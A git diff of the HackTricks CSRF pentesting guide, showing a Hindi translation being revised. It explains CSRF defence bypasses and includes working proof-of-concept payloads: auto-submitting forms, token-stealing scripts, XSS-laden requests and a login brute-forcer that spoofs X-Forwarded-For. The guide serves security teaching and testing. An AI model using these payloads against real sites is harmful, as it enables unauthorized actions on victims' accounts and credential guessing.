mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/sql-injection/README.md', 'src/pente
This commit is contained in:
parent
7eaef4e58b
commit
400d1e8154
@ -4,64 +4,92 @@
|
||||
|
||||
## Cross-Site Request Forgery (CSRF) Explained
|
||||
|
||||
**Cross-Site Request Forgery (CSRF)** एक प्रकार की सुरक्षा कमजोरी है जो वेब अनुप्रयोगों में पाई जाती है। यह हमलावरों को अनजान उपयोगकर्ताओं की ओर से कार्य करने की अनुमति देती है, उनके प्रमाणित सत्रों का लाभ उठाकर। हमला तब किया जाता है जब एक उपयोगकर्ता, जो एक पीड़ित के प्लेटफॉर्म में लॉग इन है, एक दुर्भावनापूर्ण साइट पर जाता है। यह साइट फिर पीड़ित के खाते के लिए अनुरोधों को ट्रिगर करती है, जैसे कि जावास्क्रिप्ट को निष्पादित करना, फॉर्म सबमिट करना, या छवियों को लाना।
|
||||
**Cross-Site Request Forgery (CSRF)** वेब एप्लिकेशनों में पाई जाने वाली एक प्रकार की सुरक्षा vuln है। यह attackers को authenticated सत्रों का फायदा उठाकर अनजान उपयोगकर्ताओं की तरफ़ से actions करने में सक्षम बनाती है। यह attack तब executed होता है जब कोई उपयोगकर्ता, जो पीड़ित के प्लेटफ़ॉर्म में logged in है, किसी malicious साइट पर जाता है। यह साइट फिर victim के अकाउंट पर requests ट्रिगर कर देती है जैसे कि JavaScript execute करना, forms submit करना, या images fetch करना।
|
||||
|
||||
### Prerequisites for a CSRF Attack
|
||||
|
||||
CSRF कमजोरी का लाभ उठाने के लिए, कई शर्तें पूरी होनी चाहिए:
|
||||
एक CSRF vulnerability का exploit करने के लिए कुछ शर्तें पूरी होनी चाहिए:
|
||||
|
||||
1. **Identify a Valuable Action**: हमलावर को एक ऐसा कार्य ढूंढना होगा जिसका लाभ उठाना मूल्यवान हो, जैसे उपयोगकर्ता का पासवर्ड, ईमेल बदलना, या विशेषाधिकार बढ़ाना।
|
||||
2. **Session Management**: उपयोगकर्ता का सत्र केवल कुकीज़ या HTTP बेसिक प्रमाणीकरण हेडर के माध्यम से प्रबंधित किया जाना चाहिए, क्योंकि अन्य हेडर को इस उद्देश्य के लिए हेरफेर नहीं किया जा सकता।
|
||||
3. **Absence of Unpredictable Parameters**: अनुरोध में अप्रत्याशित पैरामीटर नहीं होने चाहिए, क्योंकि वे हमले को रोक सकते हैं।
|
||||
1. **Identify a Valuable Action**: attacker को ऐसा action ढूँढना होगा जिसे exploit करना लाभकारी हो, जैसे यूज़र का password बदलना, email बदलना, या privileges बढ़ाना।
|
||||
2. **Session Management**: उपयोगकर्ता का session केवल cookies या HTTP Basic Authentication header के माध्यम से manage होना चाहिए, क्योंकि अन्य headers इस उद्देश्य के लिए manipulate नहीं किए जा सकते।
|
||||
3. **Absence of Unpredictable Parameters**: request में unpredictable parameters नहीं होने चाहिए, क्योंकि वे attack को रोक सकते हैं।
|
||||
|
||||
### Quick Check
|
||||
|
||||
आप **Burp में अनुरोध को कैप्चर** कर सकते हैं और CSRF सुरक्षा की जांच कर सकते हैं और ब्राउज़र से परीक्षण करने के लिए आप **Copy as fetch** पर क्लिक कर सकते हैं और अनुरोध की जांच कर सकते हैं:
|
||||
आप request को **Burp** में capture कर सकते हैं और CSRF protections की जाँच कर सकते हैं और ब्राउज़र से टेस्ट करने के लिए आप **Copy as fetch** पर क्लिक करके अनुरोध की जाँच कर सकते हैं:
|
||||
|
||||
<figure><img src="../images/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Defending Against CSRF
|
||||
|
||||
CSRF हमलों से बचाने के लिए कई प्रतिकृतियाँ लागू की जा सकती हैं:
|
||||
CSRF attacks के खिलाफ कई countermeasures लागू किए जा सकते हैं:
|
||||
|
||||
- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): यह विशेषता ब्राउज़र को क्रॉस-साइट अनुरोधों के साथ कुकीज़ भेजने से रोकती है। [More about SameSite cookies](hacking-with-cookies/index.html#samesite)।
|
||||
- [**Cross-origin resource sharing**](cors-bypass.md): पीड़ित साइट की CORS नीति हमले की व्यवहार्यता को प्रभावित कर सकती है, विशेष रूप से यदि हमले को पीड़ित साइट से प्रतिक्रिया पढ़ने की आवश्यकता हो। [Learn about CORS bypass](cors-bypass.md)।
|
||||
- **User Verification**: उपयोगकर्ता का पासवर्ड मांगना या कैप्चा हल करना उपयोगकर्ता की मंशा की पुष्टि कर सकता है।
|
||||
- **Checking Referrer or Origin Headers**: इन हेडर की वैधता की जांच करना यह सुनिश्चित करने में मदद कर सकता है कि अनुरोध विश्वसनीय स्रोतों से आ रहे हैं। हालांकि, URLs को सावधानीपूर्वक तैयार करने से खराब तरीके से लागू की गई जांचों को बायपास किया जा सकता है, जैसे:
|
||||
- `http://mal.net?orig=http://example.com` का उपयोग करना (URL विश्वसनीय URL के साथ समाप्त होता है)
|
||||
- `http://example.com.mal.net` का उपयोग करना (URL विश्वसनीय URL से शुरू होता है)
|
||||
- **Modifying Parameter Names**: POST या GET अनुरोधों में पैरामीटर के नामों को बदलना स्वचालित हमलों को रोकने में मदद कर सकता है।
|
||||
- **CSRF Tokens**: प्रत्येक सत्र में एक अद्वितीय CSRF टोकन को शामिल करना और इस टोकन की आवश्यकता को अगले अनुरोधों में रखना CSRF के जोखिम को काफी कम कर सकता है। टोकन की प्रभावशीलता को CORS को लागू करके बढ़ाया जा सकता है।
|
||||
- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): यह attribute browser को cross-site requests के साथ cookies भेजने से रोकता है। [More about SameSite cookies](hacking-with-cookies/index.html#samesite).
|
||||
- [**Cross-origin resource sharing**](cors-bypass.md): victim साइट की CORS policy attack की feasibility को प्रभावित कर सकती है, खासकर यदि attack को victim साइट के response को पढ़ने की ज़रूरत हो। [Learn about CORS bypass](cors-bypass.md).
|
||||
- **User Verification**: यूज़र के password के लिए prompt करना या captcha हल कराना उपयोगकर्ता की intent की पुष्टि कर सकता है।
|
||||
- **Checking Referrer or Origin Headers**: इन headers को validate करने से यह सुनिश्चित करने में मदद मिलती है कि requests trusted sources से आ रहे हैं। हालाँकि, URLs को सावधानी से craft करके poorly implemented checks को bypass किया जा सकता है, जैसे:
|
||||
- Using `http://mal.net?orig=http://example.com` (URL trusted URL के साथ समाप्त होता है)
|
||||
- Using `http://example.com.mal.net` (URL trusted URL के साथ शुरू होता दिखता है)
|
||||
- **Modifying Parameter Names**: POST या GET requests में parameter के नाम बदलने से automated attacks को रोकने में मदद मिल सकती है।
|
||||
- **CSRF Tokens**: प्रत्येक session में एक unique CSRF token शामिल करना और subsequent requests में इस token को आवश्यक बनाना CSRF के जोखिम को काफी हद तक कम कर सकता है। token की प्रभावशीलता को CORS लागू करके और भी बढ़ाया जा सकता है।
|
||||
|
||||
इन सुरक्षा उपायों को समझना और लागू करना वेब अनुप्रयोगों की सुरक्षा और अखंडता बनाए रखने के लिए महत्वपूर्ण है।
|
||||
इन defenses को समझना और लागू करना वेब एप्लिकेशनों की security और integrity बनाए रखने के लिए बहुत ज़रूरी है।
|
||||
|
||||
## Defences Bypass
|
||||
|
||||
### From POST to GET
|
||||
### From POST to GET (method-conditioned CSRF validation bypass)
|
||||
|
||||
शायद जिस फॉर्म का आप दुरुपयोग करना चाहते हैं वह **CSRF टोकन के साथ एक POST अनुरोध भेजने के लिए तैयार है लेकिन**, आपको **जांच करनी चाहिए** कि क्या एक **GET** भी **मान्य** है और यदि जब आप एक GET अनुरोध भेजते हैं तो **CSRF टोकन अभी भी मान्य किया जा रहा है**।
|
||||
कुछ applications केवल POST पर CSRF validation लागू करते हैं जबकि अन्य verbs पर इसे skip कर देते हैं। PHP में एक आम anti-pattern इस प्रकार दिखता है:
|
||||
```php
|
||||
public function csrf_check($fatal = true) {
|
||||
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
|
||||
// ... validate __csrf_token here ...
|
||||
}
|
||||
```
|
||||
यदि vulnerable endpoint भी $_REQUEST से параметры स्वीकार करता है, तो आप वही कार्रवाई को एक GET request के रूप में फिर से भेज सकते हैं और CSRF token को पूरी तरह से छोड़ सकते हैं। इससे एक POST-only action को एक GET action में बदल दिया जाता है जो बिना token के सफल हो जाता है।
|
||||
|
||||
Example:
|
||||
|
||||
- Original POST with token (intended):
|
||||
|
||||
```http
|
||||
POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
__csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]
|
||||
```
|
||||
|
||||
- Bypass by switching to GET (no token):
|
||||
|
||||
```http
|
||||
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1
|
||||
```
|
||||
|
||||
Notes:
|
||||
- यह pattern अक्सर reflected XSS के साथ दिखाई देता है जहाँ responses को गलत तरीके से text/html के रूप में भेजा जाता है बजाय application/json के।
|
||||
- इसे XSS के साथ जोड़ने से exploitation की बाधाएँ काफी कम हो जाती हैं क्योंकि आप एक ही GET link दे सकते हैं जो vulnerable code path को trigger करता है और CSRF checks को पूरी तरह से चकमा दे देता है।
|
||||
|
||||
### Lack of token
|
||||
|
||||
अनुप्रयोग एक तंत्र को लागू कर सकते हैं **टोकन को मान्य करने के लिए** जब वे मौजूद होते हैं। हालाँकि, एक कमजोरी तब उत्पन्न होती है जब टोकन के अनुपस्थित होने पर मान्यता पूरी तरह से छोड़ दी जाती है। हमलावर इस पर **टोकन ले जाने वाले पैरामीटर को हटा कर** लाभ उठा सकते हैं, न कि केवल इसके मान को। इससे उन्हें मान्यता प्रक्रिया को बायपास करने और प्रभावी रूप से एक Cross-Site Request Forgery (CSRF) हमला करने की अनुमति मिलती है।
|
||||
Applications ऐसे mechanisms लागू कर सकती हैं जो मौजूद होने पर **validate tokens** करती हैं। हालाँकि, एक vulnerability तब पैदा होती है जब token के अनुपस्थित होने पर validation पूरी तरह से स्किप कर दी जाती है। Attackers इसका फायदा उठाकर उस parameter को **remove** कर सकते हैं जो token ले जाता है, केवल उसकी value हटाने तक सीमित नहीं रहकर। इससे वे validation प्रक्रिया को बाईपास करके प्रभावी रूप से Cross-Site Request Forgery (CSRF) attack कर पाते हैं।
|
||||
|
||||
### CSRF token is not tied to the user session
|
||||
|
||||
अनुप्रयोग **CSRF टोकनों को उपयोगकर्ता सत्रों से नहीं बांधने** पर एक महत्वपूर्ण **सुरक्षा जोखिम** प्रस्तुत करते हैं। ये सिस्टम टोकनों को एक **वैश्विक पूल** के खिलाफ मान्य करते हैं, बजाय इसके कि प्रत्येक टोकन को आरंभिक सत्र से बंधा हो।
|
||||
ऐप्लिकेशन जो CSRF tokens को user session से बाँधते नहीं हैं, वे एक गंभीर सुरक्षा जोखिम पेश करते हैं। ऐसे सिस्टम tokens को session के बजाय एक **global pool** के खिलाफ verify करते हैं।
|
||||
|
||||
हमलावर इस तरह से इसका लाभ उठाते हैं:
|
||||
Attackers इसका दुरुपयोग इस तरह करते हैं:
|
||||
|
||||
1. **Authenticate** अपने स्वयं के खाते का उपयोग करके।
|
||||
2. **Obtain a valid CSRF token** वैश्विक पूल से।
|
||||
3. **Use this token** एक पीड़ित के खिलाफ CSRF हमले में।
|
||||
1. अपने account से authenticate करें।
|
||||
2. global pool से एक valid CSRF token प्राप्त करें।
|
||||
3. इस token का उपयोग करके victim के खिलाफ CSRF attack करें।
|
||||
|
||||
यह कमजोरी हमलावरों को पीड़ित की ओर से अनधिकृत अनुरोध करने की अनुमति देती है, अनुप्रयोग के **अपर्याप्त टोकन मान्यता तंत्र** का लाभ उठाते हुए।
|
||||
यह vulnerability attackers को victim की ओर से unauthorized requests करने की अनुमति देती है, जो application's **inadequate token validation mechanism** का शोषण है।
|
||||
|
||||
### Method bypass
|
||||
|
||||
यदि अनुरोध एक "**अजीब**" **विधि** का उपयोग कर रहा है, तो जांचें कि क्या **विधि** **ओवरराइड कार्यक्षमता** काम कर रही है। उदाहरण के लिए, यदि यह **PUT** विधि का **उपयोग कर रहा है** तो आप **POST** विधि का **उपयोग करने** और **भेजने** का प्रयास कर सकते हैं: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||||
यदि request किसी "weird" method का उपयोग कर रही है, तो चेक करें कि क्या **method override functionality** काम कर रही है। उदाहरण के लिए, यदि यह **using a PUT** method है तो आप **use a POST** method करके और भेजकर कोशिश कर सकते हैं: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||||
|
||||
यह **POST अनुरोध के अंदर \_method पैरामीटर** भेजकर या **हेडर** का उपयोग करके भी काम कर सकता है:
|
||||
यह तब भी काम कर सकता है जब **\_method parameter** को POST request के अंदर भेजा जाए या headers का उपयोग करके:
|
||||
|
||||
- _X-HTTP-Method_
|
||||
- _X-HTTP-Method-Override_
|
||||
@ -69,18 +97,18 @@ CSRF हमलों से बचाने के लिए कई प्रत
|
||||
|
||||
### Custom header token bypass
|
||||
|
||||
यदि अनुरोध एक **कस्टम हेडर** के साथ एक **टोकन** को CSRF सुरक्षा विधि के रूप में जोड़ रहा है, तो:
|
||||
यदि request में CSRF protection के तौर पर किसी **custom header** में **token** जोड़ा जा रहा है, तो:
|
||||
|
||||
- **कस्टमाइज्ड टोकन और हेडर के बिना** अनुरोध का परीक्षण करें।
|
||||
- **सटीक समान लंबाई लेकिन अलग टोकन** के साथ अनुरोध का परीक्षण करें।
|
||||
- Request को **Customized Token और संबंधित header** के बिना test करें।
|
||||
- उसी **same length लेकिन different token** के साथ request को test करें।
|
||||
|
||||
### CSRF token is verified by a cookie
|
||||
|
||||
अनुप्रयोग CSRF सुरक्षा को टोकन को कुकी और अनुरोध पैरामीटर दोनों में डुप्लिकेट करके या एक CSRF कुकी सेट करके और यह सत्यापित करके लागू कर सकते हैं कि बैकएंड में भेजा गया टोकन कुकी के अनुरूप है। अनुप्रयोग अनुरोधों को मान्य करते हैं यह जांचकर कि क्या अनुरोध पैरामीटर में टोकन कुकी में मान के साथ मेल खाता है।
|
||||
ऐप्लिकेशन CSRF protection के लिए token को cookie और request parameter दोनों में duplicate कर सकते हैं या CSRF cookie सेट करके backend में यह verify कर सकते हैं कि request में भेजा गया token cookie के value से मेल खाता है। एप्लिकेशन requests को इस तरह validate करता है कि request parameter में मौजूद token cookie की value के अनुरूप है या नहीं।
|
||||
|
||||
हालांकि, यदि वेबसाइट में ऐसी खामियाँ हैं जो हमलावर को पीड़ित के ब्राउज़र में CSRF कुकी सेट करने की अनुमति देती हैं, जैसे कि CRLF कमजोरी, तो यह विधि CSRF हमलों के प्रति संवेदनशील है। हमलावर इसका लाभ उठाकर एक धोखाधड़ी छवि लोड कर सकता है जो कुकी सेट करता है, इसके बाद CSRF हमले को शुरू करता है।
|
||||
हालाँकि, यह तरीका तब CSRF के लिए vulnerable हो सकता है जब वेबसाइट में ऐसी खामियाँ हों जो attacker को victim के ब्राउज़र में CSRF cookie सेट करने की अनुमति देती हों, जैसे कि CRLF vulnerability। Attacker deceptive image load कर के cookie सेट कर सकता है, और फिर CSRF attack शुरू कर सकता है।
|
||||
|
||||
नीचे एक उदाहरण है कि एक हमला कैसे संरचित किया जा सकता है:
|
||||
Below is an example of how an attack could be structured:
|
||||
```html
|
||||
<html>
|
||||
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
|
||||
@ -103,19 +131,19 @@ onerror="document.forms[0].submit();" />
|
||||
</html>
|
||||
```
|
||||
> [!TIP]
|
||||
> ध्यान दें कि यदि **csrf टोकन सत्र कुकी से संबंधित है तो यह हमला काम नहीं करेगा** क्योंकि आपको पीड़ित को अपना सत्र सेट करना होगा, और इसलिए आप खुद पर हमला कर रहे होंगे।
|
||||
> ध्यान दें कि यदि **csrf token is related with the session cookie this attack won't work** क्योंकि आपको victim का session सेट करना पड़ेगा, और इसलिए आप अपने आप पर हमला कर रहे होंगे।
|
||||
|
||||
### Content-Type परिवर्तन
|
||||
|
||||
[**इस**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests) के अनुसार, **POST** विधि का उपयोग करते समय **preflight** अनुरोधों से बचने के लिए ये अनुमत Content-Type मान हैं:
|
||||
According to [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), in order to **avoid preflight** requests using **POST** method these are the allowed Content-Type values:
|
||||
|
||||
- **`application/x-www-form-urlencoded`**
|
||||
- **`multipart/form-data`**
|
||||
- **`text/plain`**
|
||||
|
||||
हालांकि, ध्यान दें कि **सर्वर की लॉजिक भिन्न हो सकती है** जो उपयोग किए गए **Content-Type** पर निर्भर करती है, इसलिए आपको उल्लेखित मानों और अन्य जैसे **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ का प्रयास करना चाहिए।
|
||||
हालांकि, ध्यान दें कि उपयोग किए गए **Content-Type** के आधार पर **severs logic may vary** इसलिए आपको ऊपर बताए गए मानों के अलावा **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ जैसे मान भी आज़माने चाहिए।
|
||||
|
||||
उदाहरण ([यहां](https://brycec.me/posts/corctf_2021_challenges) से) JSON डेटा को text/plain के रूप में भेजने का:
|
||||
उदाहरण (from [here](https://brycec.me/posts/corctf_2021_challenges)) JSON डेटा को text/plain के रूप में भेजने का:
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
@ -134,31 +162,32 @@ form.submit()
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### JSON डेटा के लिए प्रीफ्लाइट अनुरोधों को बायपास करना
|
||||
### Bypassing Preflight Requests for JSON Data
|
||||
|
||||
जब POST अनुरोध के माध्यम से JSON डेटा भेजने का प्रयास किया जाता है, तो HTML फॉर्म में `Content-Type: application/json` का उपयोग सीधे संभव नहीं है। इसी तरह, `XMLHttpRequest` का उपयोग करके इस सामग्री प्रकार को भेजने से एक प्रीफ्लाइट अनुरोध शुरू होता है। फिर भी, इस सीमा को बायपास करने और यह जांचने के लिए रणनीतियाँ हैं कि क्या सर्वर JSON डेटा को Content-Type की परवाह किए बिना प्रोसेस करता है:
|
||||
POST request के माध्यम से JSON डेटा भेजने का प्रयास करते समय, HTML फ़ॉर्म में `Content-Type: application/json` का उपयोग सीधे संभव नहीं है। इसी तरह, इस content type को भेजने के लिए `XMLHttpRequest` का उपयोग करने पर एक preflight request शुरू हो जाती है। इसके बावजूद, इस पाबंदी को बायपास करने और यह जांचने के कुछ तरीके हैं कि क्या सर्वर Content-Type की परवाह किए बिना JSON डेटा को प्रोसेस करता है:
|
||||
|
||||
1. **वैकल्पिक सामग्री प्रकार का उपयोग करें**: फॉर्म में `enctype="text/plain"` सेट करके `Content-Type: text/plain` या `Content-Type: application/x-www-form-urlencoded` का उपयोग करें। यह दृष्टिकोण यह परीक्षण करता है कि क्या बैकएंड डेटा का उपयोग करता है चाहे Content-Type कुछ भी हो।
|
||||
2. **सामग्री प्रकार को संशोधित करें**: प्रीफ्लाइट अनुरोध से बचने के लिए जबकि यह सुनिश्चित करते हुए कि सर्वर सामग्री को JSON के रूप में पहचानता है, आप डेटा को `Content-Type: text/plain; application/json` के साथ भेज सकते हैं। यह प्रीफ्लाइट अनुरोध को ट्रिगर नहीं करता है लेकिन यदि सर्वर को `application/json` स्वीकार करने के लिए कॉन्फ़िगर किया गया है तो इसे सही ढंग से प्रोसेस किया जा सकता है।
|
||||
3. **SWF फ्लैश फ़ाइल का उपयोग**: एक कम सामान्य लेकिन संभव विधि में ऐसे प्रतिबंधों को बायपास करने के लिए SWF फ्लैश फ़ाइल का उपयोग करना शामिल है। इस तकनीक की गहन समझ के लिए, [इस पोस्ट](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937) को देखें।
|
||||
1. **Use Alternative Content Types**: फ़ॉर्म में `enctype="text/plain"` सेट करके `Content-Type: text/plain` या `Content-Type: application/x-www-form-urlencoded` का उपयोग करें। यह तरीका टेस्ट करता है कि backend Content-Type की परवाह किए बिना डेटा का उपयोग करता है या नहीं।
|
||||
2. **Modify Content Type**: preflight request से बचने और साथ ही सर्वर को कंटेंट JSON के रूप में पहचानने के लिए, आप डेटा को `Content-Type: text/plain; application/json` के साथ भेज सकते हैं। यह preflight request को ट्रिगर नहीं करता, पर यदि सर्वर `application/json` स्वीकार करने के लिए कॉन्फ़िगर है तो इसे सही ढंग से प्रोसेस किया जा सकता है।
|
||||
3. **SWF Flash File Utilization**: कम सामान्य लेकिन व्यवहारिक तरीका SWF flash file का उपयोग करके ऐसी सीमाओं को बायपास करना है। इस तकनीक की गहरी समझ के लिए, {this post}(https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937) देखें।
|
||||
|
||||
### रेफरर / मूल जांच बायपास
|
||||
### Referrer / Origin check bypass
|
||||
|
||||
**रेफरर हेडर से बचें**
|
||||
**Avoid Referrer header**
|
||||
|
||||
ऐप्लिकेशन केवल तब 'Referer' हेडर को मान्य कर सकते हैं जब यह मौजूद हो। इस हेडर को भेजने से रोकने के लिए, निम्नलिखित HTML मेटा टैग का उपयोग किया जा सकता है:
|
||||
Applications अक्सर केवल तब 'Referer' header की जाँच करते हैं जब वह मौजूद हो। किसी ब्राउज़र को यह header भेजने से रोकने के लिए, निम्नलिखित HTML meta tag का उपयोग किया जा सकता है:
|
||||
```xml
|
||||
<meta name="referrer" content="never">
|
||||
```
|
||||
यह सुनिश्चित करता है कि 'Referer' हेडर को छोड़ दिया गया है, जिससे कुछ अनुप्रयोगों में मान्यता जांचों को बायपास किया जा सकता है।
|
||||
यह सुनिश्चित करता है कि 'Referer' header हटा दिया जाता है, जो कुछ एप्लिकेशनों में वैलिडेशन चेक्स को संभावित रूप से बायपास कर सकता है।
|
||||
|
||||
**Regexp bypasses**
|
||||
|
||||
**Regexp बायपास**
|
||||
|
||||
{{#ref}}
|
||||
ssrf-server-side-request-forgery/url-format-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
URL में सर्वर का डोमेन नाम सेट करने के लिए जिसे Referrer पैरामीटर के अंदर भेजने जा रहा है, आप कर सकते हैं:
|
||||
URL में उस सर्वर का domain name सेट करने के लिए जिसे Referrer parameters के अंदर भेजने वाला है, आप कर सकते हैं:
|
||||
```html
|
||||
<html>
|
||||
<!-- Referrer policy needed to send the qury parameter in the referrer -->
|
||||
@ -187,25 +216,25 @@ document.forms[0].submit()
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### **HEAD विधि बायपास**
|
||||
### **HEAD method bypass**
|
||||
|
||||
[**इस CTF लेख**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) के पहले भाग में समझाया गया है कि [Oak का स्रोत कोड](https://github.com/oakserver/oak/blob/main/router.ts#L281), एक राउटर को **HEAD अनुरोधों को GET अनुरोधों के रूप में संभालने** के लिए सेट किया गया है जिसमें कोई प्रतिक्रिया शरीर नहीं है - यह एक सामान्य वर्कअराउंड है जो Oak के लिए अद्वितीय नहीं है। HEAD reqs के साथ निपटने के लिए एक विशिष्ट हैंडलर के बजाय, उन्हें बस **GET हैंडलर को दिया जाता है लेकिन ऐप केवल प्रतिक्रिया शरीर को हटा देता है**।
|
||||
The first part of [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) is explained that [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281), a router is set to **handle HEAD requests as GET requests** with no response body - a common workaround that isn't unique to Oak. Instead of a specific handler that deals with HEAD reqs, they're simply **given to the GET handler but the app just removes the response body**.
|
||||
|
||||
इसलिए, यदि एक GET अनुरोध को सीमित किया जा रहा है, तो आप बस **एक HEAD अनुरोध भेज सकते हैं जिसे GET अनुरोध के रूप में संसाधित किया जाएगा**।
|
||||
Therefore, if a GET request is being limited, you could just **send a HEAD request that will be processed as a GET request**.
|
||||
|
||||
## **शोषण उदाहरण**
|
||||
## **Exploit Examples**
|
||||
|
||||
### **CSRF टोकन निकालना**
|
||||
### **Exfiltrating CSRF Token**
|
||||
|
||||
यदि एक **CSRF टोकन** को **रक्षा** के रूप में उपयोग किया जा रहा है, तो आप एक [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) भेद्यता या एक [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) भेद्यता का दुरुपयोग करके **इसे निकालने** की कोशिश कर सकते हैं।
|
||||
यदि एक **CSRF token** **defence** के रूप में उपयोग किया जा रहा है, तो आप इसे **exfiltrate it** करने का प्रयास कर सकते हैं, किसी [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) vulnerability या [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) vulnerability का दुरुपयोग करके।
|
||||
|
||||
### **HTML टैग का उपयोग करके GET**
|
||||
### **GET using HTML tags**
|
||||
```xml
|
||||
<img src="http://google.es?param=VALUE" style="display:none" />
|
||||
<h1>404 - Page not found</h1>
|
||||
The URL you are requesting is no longer available
|
||||
```
|
||||
अन्य HTML5 टैग जो स्वचालित रूप से GET अनुरोध भेजने के लिए उपयोग किए जा सकते हैं:
|
||||
स्वतः एक GET request भेजने के लिए उपयोग किए जा सकने वाले अन्य HTML5 टैग हैं:
|
||||
```html
|
||||
<iframe src="..."></iframe>
|
||||
<script src="..."></script>
|
||||
@ -234,7 +263,7 @@ background: url("...");
|
||||
</video>
|
||||
</audio>
|
||||
```
|
||||
### फ़ॉर्म GET अनुरोध
|
||||
### फॉर्म GET अनुरोध
|
||||
```html
|
||||
<html>
|
||||
<!-- CSRF PoC - generated by Burp Suite Professional -->
|
||||
@ -252,7 +281,7 @@ document.forms[0].submit()
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### फ़ॉर्म POST अनुरोध
|
||||
### फ़ॉर्म POST रिक्वेस्ट
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
@ -280,7 +309,7 @@ document.forms[0].submit() //Way 3 to autosubmit
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### iframe के माध्यम से Form POST अनुरोध
|
||||
### iframe के माध्यम से Form POST request
|
||||
```html
|
||||
<!--
|
||||
The request is sent through the iframe withuot reloading the page
|
||||
@ -373,7 +402,7 @@ body += "--" + boundary + "--"
|
||||
//xhr.send(body);
|
||||
xhr.sendAsBinary(body)
|
||||
```
|
||||
### एक iframe के भीतर Form POST अनुरोध
|
||||
### iframe के भीतर से Form POST request
|
||||
```html
|
||||
<--! expl.html -->
|
||||
|
||||
@ -397,7 +426,7 @@ document.getElementById("formulario").submit()
|
||||
</body>
|
||||
</body>
|
||||
```
|
||||
### **CSRF टोकन चुराएं और एक POST अनुरोध भेजें**
|
||||
### **CSRF Token चुराकर एक POST request भेजें**
|
||||
```javascript
|
||||
function submitFormWithTokenJS(token) {
|
||||
var xhr = new XMLHttpRequest()
|
||||
@ -444,7 +473,7 @@ var GET_URL = "http://google.com?param=VALUE"
|
||||
var POST_URL = "http://google.com?param=VALUE"
|
||||
getTokenJS()
|
||||
```
|
||||
### **CSRF टोकन चुराएं और एक iframe, एक फॉर्म और Ajax का उपयोग करके एक Post अनुरोध भेजें**
|
||||
### **CSRF Token चुराएँ और iframe, form और Ajax का उपयोग करके एक Post request भेजें**
|
||||
```html
|
||||
<form
|
||||
id="form1"
|
||||
@ -472,7 +501,7 @@ style="display:none"
|
||||
src="http://google.com?param=VALUE"
|
||||
onload="javascript:f1();"></iframe>
|
||||
```
|
||||
### **CSRF टोकन चुराएं और एक iframe और एक फॉर्म का उपयोग करके POST अनुरोध भेजें**
|
||||
### **CSRF Token चुराएँ और iframe और form का उपयोग करके POST अनुरोध भेजें**
|
||||
```html
|
||||
<iframe
|
||||
id="iframe"
|
||||
@ -505,7 +534,7 @@ document.forms[0].submit.click()
|
||||
}
|
||||
</script>
|
||||
```
|
||||
### **टोकन चुराएं और इसे 2 iframes का उपयोग करके भेजें**
|
||||
### **token चुराएं और 2 iframes का उपयोग करके भेजें**
|
||||
```html
|
||||
<script>
|
||||
var token;
|
||||
@ -535,7 +564,7 @@ height="600" width="800"></iframe>
|
||||
<button type="submit">Submit</button>
|
||||
</form>
|
||||
```
|
||||
### **POSTAjax के साथ CSRF टोकन चुराएं और एक फॉर्म के साथ पोस्ट भेजें**
|
||||
### **POSTSteal CSRF token को Ajax के साथ चुरा कर form के साथ एक post भेजें**
|
||||
```html
|
||||
<body onload="getData()">
|
||||
<form
|
||||
@ -566,7 +595,7 @@ document.getElementById("form").submit()
|
||||
</script>
|
||||
</body>
|
||||
```
|
||||
### CSRF with Socket.IO
|
||||
### CSRF और Socket.IO के साथ
|
||||
```html
|
||||
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
|
||||
<script>
|
||||
@ -586,9 +615,9 @@ room: username,
|
||||
})
|
||||
</script>
|
||||
```
|
||||
## CSRF लॉगिन ब्रूट फोर्स
|
||||
## CSRF Login Brute Force
|
||||
|
||||
कोड का उपयोग CSRF टोकन का उपयोग करके लॉगिन फॉर्म को ब्रूट फोर्स करने के लिए किया जा सकता है (यह संभावित IP ब्लैकलिस्टिंग को बायपास करने के लिए X-Forwarded-For हेडर का भी उपयोग कर रहा है):
|
||||
यह कोड CSRF token का उपयोग करके एक login form पर Brut Force करने के लिए इस्तेमाल किया जा सकता है (यह संभावित IP blacklisting को बायपास करने की कोशिश करने के लिए header X-Forwarded-For का भी उपयोग करता है):
|
||||
```python
|
||||
import request
|
||||
import re
|
||||
@ -632,18 +661,17 @@ with open(PASS_LIST, "r") as f:
|
||||
for line in f:
|
||||
login(USER, line.strip())
|
||||
